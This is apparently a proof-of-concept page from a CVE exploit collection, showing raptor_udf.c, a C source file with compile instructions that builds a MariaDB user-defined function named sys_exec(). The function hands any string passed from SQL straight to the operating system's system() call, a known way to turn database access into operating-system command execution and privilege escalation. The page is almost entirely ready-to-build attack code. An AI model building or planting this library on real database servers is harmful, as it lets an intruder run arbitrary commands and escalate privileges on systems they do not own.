5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / raptor_udf.c C
/*
 * raptor_udf.c — Minimal MariaDB UDF for sys_exec()
 * Compile: gcc -shared -fPIC -o raptor_udf.so raptor_udf.c
 */
#include <stdlib.h>
#include <string.h>

typedef long long longlong;
typedef char my_bool;

typedef struct {
    my_bool maybe_null;
    unsigned int decimals;
    unsigned long max_length;
    char *ptr;
    my_bool const_item;
    void *extension;
} UDF_INIT;

typedef struct {
    unsigned int arg_count;
    int *arg_type;
    char **args;
    unsigned long *lengths;
    char *maybe_null;
    char **attributes;
    unsigned long *attribute_lengths;
    void *extension;
} UDF_ARGS;

my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    if (args->arg_count != 1) {
        strcpy(message, "one argument required");
        return 1;
    }
    return 0;
}

longlong sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
    if (!args->args[0])
        return -1;
    char *cmd = strndup(args->args[0], args->lengths[0]);
    longlong ret = (longlong)system(cmd);
    free(cmd);
    return ret;
}

void sys_exec_deinit(UDF_INIT *initid) {}